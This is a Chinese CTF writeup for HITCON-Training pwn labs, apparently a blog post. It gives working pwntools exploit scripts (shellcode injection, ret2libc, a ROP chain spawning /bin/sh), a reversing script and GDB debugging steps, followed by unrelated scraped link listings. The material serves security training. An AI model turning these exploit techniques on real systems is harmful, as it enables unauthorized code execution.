HITCON-Training-master 部分 Writeup(1月30更新)
0x01.lab3
首先checksec一下,发现连NX保护都没开,结合题目提示ret2sc,确定可以使用shellcode得到权限。

IDA查看伪代码

大致分析:
将shellcode写入name数组,v4溢出之后定向至name所在地址从而运行shellcode。
代码如下:
# -*- coding:utf-8 -*-
__Author__ = 'L1B0'
from pwn import *
elf = ELF('./ret2sc')
io = process('./ret2sc')
io.recvuntil(':')
payload1 = asm(shellcraft.sh())
io.sendline(payload1)
io.recvuntil(':')
name_addr = 0x0804A060
payload2 = flat(['a' * 0x1C + 'f**k' , name_addr])
io.sendline(payload2)
io.interactive()
0x02. lab4
大致分析:
首先checksec一下,发现开了NX保护,但是没开栈保护,于是栈溢出。 
IDA查看伪代码

一开始认为这是再也普通不过的代码...后来才知道大有玄机。
第一:see_something这个函数可以将你输入的地址找到其在运行中的真实地址,这很重要。
第二:像read,puts这样简单的函数可以被用来寻找“偏移量“。
解题思路:
首先获取libc库的版本,在M4x学长的指导下了解到ldd这个命令。
得到libc版本及所在位置:libc.so.6 & /lib/i386-linux-gnu/libc.so.6

然后就是得到偏移量,计算出system函数和“/bin/sh”字符串的真实地址,获取shell。
代码如下:
# -*- coding:utf-8 -*-
__Author__ = 'L1B0'
from pwn import *
io = process('./ret2lib')
elf = ELF('./ret2lib')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_libc = libc.symbols['puts']
system_libc = libc.symbols['system']
binsh_libc = libc.search('/bin/sh').next()
puts_got = elf.got['puts']
io.recvuntil(':')
io.sendline(str(puts_got))
io.recvuntil('0x')
puts_addr = int(io.putsuntil('\n'),16)
#print puts_addr
offset = puts_addr - puts_libc
system_addr = system_libc + offset
binsh_addr = binsh_libc + offset
io.recvuntil(':')
payload = flat([ 'a'*60 , system_addr , 0xdeadbeef , binsh_addr ])
io.sendline(payload)
io.interactive()
io.close()
0x03. lab5
这题开的保护和上题一样,不过思路相差甚多。由于我也只用了一种方法,在这里就记录一下。
小知识:
寄存器中有eax,ebx,ecx,edx等。
Linux下的系统调用通过int 80h实现,用系统调用号来区分入口函数,其中寄存器eax存放调用号,剩下的几个参数存放参数。
解题思路:
有了前面的知识的了解,可以大致知道解题过程。
我们需要调用的是system函数,其调用号为0xb,于是eax里存放的就是0xb;
接下来应该有三个参数,其中ebx = “/bin/sh", ecx = 0, edx = 0。但是有一个问题,32位寄存器只能存放4个字节大小的数据,而“/bin/sh”有7个字节。这里我们可以把“/bin/sh”存进.data段,ebx存放.data段的地址,从而达到目的。
代码如下:
# -*- coding:utf-8 -*-
__Author__ = 'L1B0'
from pwn import *
io = process('./simplerop')
eax_ret = 0x080bae06
edx_ret = 0x0806e82a
edx_ecx_ebx_ret = 0x0806e850
data_addr = 0x080EA060
gadget_ret = 0x0809a15d # mov dword ptr [edx], eax ; ret
int_0x80_addr = 0x080493e1
# 写入data段
# 第一句首先将read溢出至return,然后将对data_addr赋给edx,将“/bin”字符串赋给eax;
# 接着用gadget将eax的值赋给edx的值(即data_addr)的内容。
payload = flat(['a'*32, edx_ret, data_addr, eax_ret, "/bin",gadget_ret])
# 第二句作用类似。
payload += flat([edx_ret, data_addr+4, eax_ret, "/sh\x00", gadget_ret])
# 调用系统execve
# 这里执行之后的结果是:eax = 0xb, ebx = data_addr, ecx = 0, edx = 0
payload += flat([edx_ecx_ebx_ret, 0, 0, data_addr, eax_ret, 0xb, int_0x80_addr])
io.recvuntil(":")
io.sendline(payload)
io.interactive()
0x04 [HITCON-training] lab1
这题我用了三种方法,这里记录一下
方法一:当逆向直接做
这题如果当逆向做的话就很简单了,主要记录一个小技巧

来源:http://www.cnblogs.com/WangAoBo/p/7706719.html
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
key1 = 'Do_you_know_why_my_teammate_Orange_is_so_angry???'
key2 = [7,073,25,2,11,16,61,30,9,8,18,45,40,89,10,0,30,22,0,4,85,22,8,31,7,1,9,0,126,28,62,10,30,11,107,4,66,60,44,91,49,85,2,30,33,16,76,30,66]
flag = ''
for i in range(len(key1)):
flag += chr( ord(key1[i]) ^ key2[i] )
print flag
#CTF{debugger_1s_so_p0werful_1n_dyn4m1c_4n4lySis!}
方法二:动态调试,使得我们输入的v2等于随机出来的buf
首先在函数get_flag和scanf处下断点
b *0x0804859B
b *0x08048712
运行,两次c(ontinue)后到达输入,随便输入一个数,这里我输入132,n(ext)。
然后发现,如果edx=eax,便可通过验证。
[----------------------------------registers-----------------------------------]
EAX: 0x84
EBX: 0x0
ECX: 0x1
EDX: 0x31f9d99
ESI: 0x1
EDI: 0xf7fb1000 --> 0x1b2db0
EBP: 0xffffd428 --> 0xffffd438 --> 0x0
ESP: 0xffffd3a0 --> 0x804a020 --> 0xf7e5dff0 (<setvbuf>: push ebp)
EIP: 0x8048720 (<get_flag+389>: cmp edx,eax)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048717 <get_flag+380>: add esp,0x10
0x804871a <get_flag+383>: mov edx,DWORD PTR [ebp-0x80]
0x804871d <get_flag+386>: mov eax,DWORD PTR [ebp-0x7c]
=> 0x8048720 <get_flag+389>: cmp edx,eax
0x8048722 <get_flag+391>: jne 0x8048760 <get_flag+453>
0x8048724 <get_flag+393>: mov DWORD PTR [ebp-0x78],0x0
0x804872b <get_flag+400>: jmp 0x8048758 <get_flag+445>
0x804872d <get_flag+402>: lea edx,[ebp-0x6f]
于是在运行到cmp处,
set $eax=0x31f9d99
或者 set $edx=0x84
然后一直n(ext)执行,便可在eax处看到flag的每一位(因为程序中是putchar,故只能一个一个看)。
方法三:将验证的地方patch
Edit->Patch program->Assemble: nop
0x05. 写在最后
这里主要想记录下如何寻找刚好能覆盖到return_addr的字节数,我用的是gdb-peda提供的pattern_create和pattern_offset。
以lab4为例:
首先在lab4目录下执行
root@libo:~/Desktop/HITCON-Training-master/LAB/lab4# gdb ret2lib
gdb-peda$ pattern_create 200
gdb-peda$ r
第一个输入点不是我们需要的,所以这里我输入的是main函数的地址134514045(十进制)。
第二个输入点输入之前pattern_create的字符串使其溢出,然后执行pattern_offset得到覆盖到return的字节数。

作者: LB919
出处:http://www.cnblogs.com/L1B0/
如有转载,荣幸之至!请随手标明出处;
HITCON-Training-master 部分 Writeup(1月30更新)的更多相关文章
- hackme.inndy.tw的一些Writeup(5月30更新)
hackme.inndy.tw的一些Writeup(6月3日更新) 原文链接:http://www.cnblogs.com/WangAoBo/p/7706719.html 推荐一下https://ha ...
- 2016年12月30日 星期五 --出埃及记 Exodus 21:25
2016年12月30日 星期五 --出埃及记 Exodus 21:25 burn for burn, wound for wound, bruise for bruise.以烙还烙,以伤还伤,以打还打 ...
- 11月30日《奥威Power-BI智能分析报表制作方法》腾讯课堂开课啦
这么快一周就过去了,奥威公开课又要与大家见面咯,上节课老师教的三种报表集成方法你们都掌握了吗?大家都知道,学习的结果在于实际应用,想要熟练掌握新内容的要点就在于去应用它.正是基于这一要点,每一期的课程 ...
- 2016年11月30日 星期三 --出埃及记 Exodus 20:21
2016年11月30日 星期三 --出埃及记 Exodus 20:21 The people remained at a distance, while Moses approached the th ...
- 2016年10月30日 星期日 --出埃及记 Exodus 19:15
2016年10月30日 星期日 --出埃及记 Exodus 19:15 Then he said to the people, "Prepare yourselves for the thi ...
- 2016年6月30日 星期四 --出埃及记 Exodus 14:27
2016年6月30日 星期四 --出埃及记 Exodus 14:27 Moses stretched out his hand over the sea, and at daybreak the se ...
- 8月30号周五香港接单ING~~化妆品只加10元!!!!!!
8月30号周五香港接单ING~~化妆品只加10元!!!!!! 8月30号周五香港接单ING~~化妆品只加10元!!!!!!
- 10 月 30 日新款 Mac mini 有望与新款 iPad Pro 一起发布
苹果最新款的 Mac mini 是在 2014 年 10 月推出的版本,到现在已经过了 4 年.分析师郭明錤和彭博社的 Mark Gurman 都表示苹果会在今年晚些时候发布新款 Mac mini. ...
- 北京Uber优步司机奖励政策(3月30日)
滴快车单单2.5倍,注册地址:http://www.udache.com/ 如何注册Uber司机(全国版最新最详细注册流程)/月入2万/不用抢单:http://www.cnblogs.com/mfry ...
随机推荐
- tomcat8.5和redis实现session共享
1. 问题 由于之前看其他资料配置的session共享没注意自己tomcat的版本所以出现了诸多问题,tomcat8.5和之前版本的配置是不一样的. 2. 配置 ①将如图所示三个jar包放入t ...
- Linux源码编译安装php7.3
---恢复内容开始--- ps:一切从简 一.安装所需环境 yum -y install libxml2 libxml2-devel openssl openssl-devel curl-devel ...
- Electron – 项目报错整理(打包~1): WARNING: Make sure that .NET Framework 4.5 or later and Powershell 3 or later are installed, otherwise extracting the Electron zip file will hang.
WARNING: Make sure that .NET Framework 4.5 or later and Powershell 3 or later are installed, otherwi ...
- util之Set
1.定义: Set<Integer>set = new TreeSet<Integer>(); 注意: TreeSet 是二差树实现的,Treeset中的数据是自动排好序的,不 ...
- adb+tcpdump手机抓包过程出现的报错及解决方法
tcpdump下载:https://www.androidtcpdump.com/android-tcpdump/downloads 1.夜神模拟器连接不上adb D:1手机木马取证\android- ...
- 密码学笔记-一段base64wp
CTF--练习平台 例题: 一段Base64 flag格式:flag{xxxxxxxxxxxxx} 附件: base64.txt 1.base64解码:http://base64.xpcha.com/ ...
- AcWing 803. 区间合并
#include <iostream> #include <vector> #include <algorithm> using namespace std; ty ...
- 常见运算符_python
一.算数运算符a=2b=5c=8#加减乘除print(a+b,a-b,a*b,a/b)#取模,也就是余数print(b%a)#取整除print(b//a)#幂(次方)print(b**a) 二.比较运 ...
- Mysql 慢查询之showprofile
show profiles:返回服务器上最近执行的语句 资源的使用情况. 一.使用准备 Show profiles是5.0.37之后添加的,要想使用此功能,要确保版本在5.0.37之后. mysql& ...
- 265. 粉刷房子 II
Q: A: 首先这题可以和粉刷房子这题一样解法,对于i号房子,遍历k种颜色,对于每一种,都去找i-1号房子除该颜色之外的最小花费.但上一题是3种颜色,总复杂度O(N),这题k种颜色,复杂度O(NK^2 ...